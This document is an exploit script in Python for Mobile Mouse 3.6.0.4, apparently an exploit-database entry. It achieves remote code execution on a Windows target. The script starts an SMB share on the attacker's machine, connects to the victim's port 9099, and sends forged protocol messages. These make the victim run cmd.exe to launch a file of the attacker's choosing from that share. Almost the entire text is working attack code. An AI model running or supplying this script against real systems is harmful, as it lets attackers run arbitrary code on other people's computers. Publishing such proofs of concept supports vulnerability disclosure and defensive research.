# Exploit Title: Mobile Mouse 3.6.0.4 Remote Code Execution v2 # Date: Apr 28, 2023 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://mobilemouse.com/ # Software Link: https://www.mobilemouse.com/downloads/setup.exe # Version: 3.6.0.4 # Tested on: Windows 10 Enterprise LTSC Build 17763 #!/usr/bin/env python3 import socket from time import sleep import argparse import threading from impacket import smbserver def smb_server(lhost, file_to_serve): server = smbserver.SimpleSMBServer(listenAddress=lhost, listenPort=445) server.addShare("share", ".", "") server.start() help = " Mobile Mouse 3.6.0.4 Remote Code Execution " parser = argparse.ArgumentParser(description=help) parser.add_argument("--target", help="Target IP", required=True) parser.add_argument("--file", help="File name to Upload", required=True) parser.add_argument("--lhost", help="Your local IP", default="127.0.0.1") args = parser.parse_args() host = args.target command_shell = args.file lhost = args.lhost port = 9099 # Default port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 256) s.connect((host, port)) smb_server_thread = threading.Thread(target=smb_server, args=(lhost, command_shell)) smb_server_thread.start() CONN = bytearray.fromhex("434F4E4E4543541E1E63686F6B726968616D6D6564691E6950686F6E651E321E321E04") s.send(CONN) run = s.recv(54) RUN = bytearray.fromhex("4b45591e3131341e721e4f505404") s.send(RUN) run = s.recv(54) sleep(0.5) payload = f"cmd.exe /c start /B \\\\{lhost}\\share\\{command_shell}".encode('utf-8') hex_payload = payload.hex() SHELL = bytearray.fromhex("4B45591E3130301E" + hex_payload + "1E04" + "4b45591e2d311e454e5445521e04") s.send(SHELL) shell = s.recv(96) print("Take The rose...") sleep(30) s.close()